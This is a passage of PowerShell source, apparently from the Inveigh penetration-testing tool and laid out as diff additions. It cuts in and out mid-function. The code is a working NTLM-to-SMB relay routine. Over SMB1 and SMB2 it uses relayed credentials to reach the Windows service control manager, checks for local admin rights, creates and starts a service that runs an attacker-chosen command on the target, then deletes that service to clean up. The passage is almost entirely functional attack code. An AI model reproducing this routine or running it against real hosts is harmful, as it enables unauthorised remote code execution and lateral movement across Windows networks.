$Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") + } + + $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") + $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + $inveigh.console_queue.Add("SMB relay command executed on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") + } + + } + + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + } + + 'CloseRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed) + { + $inveigh.console_queue.Add("SMB relay failed on $Target") + $SMB_client_stage = 'Exit' + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID = 4 + $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'CreateRequest' + } + + 'CreateRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m 150 + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 + $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID = 30 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $SMB2_message_ID += 20 + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $SMB2_message_ID++ + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $SMB2_message_ID++ + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") + } + + $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") + $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + $inveigh.console_queue.Add("SMB relay command executed on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("SMB relay service $SMB_service failed to start on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("SMB relay service $SMB_service failed to start on $Target") + } + + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle 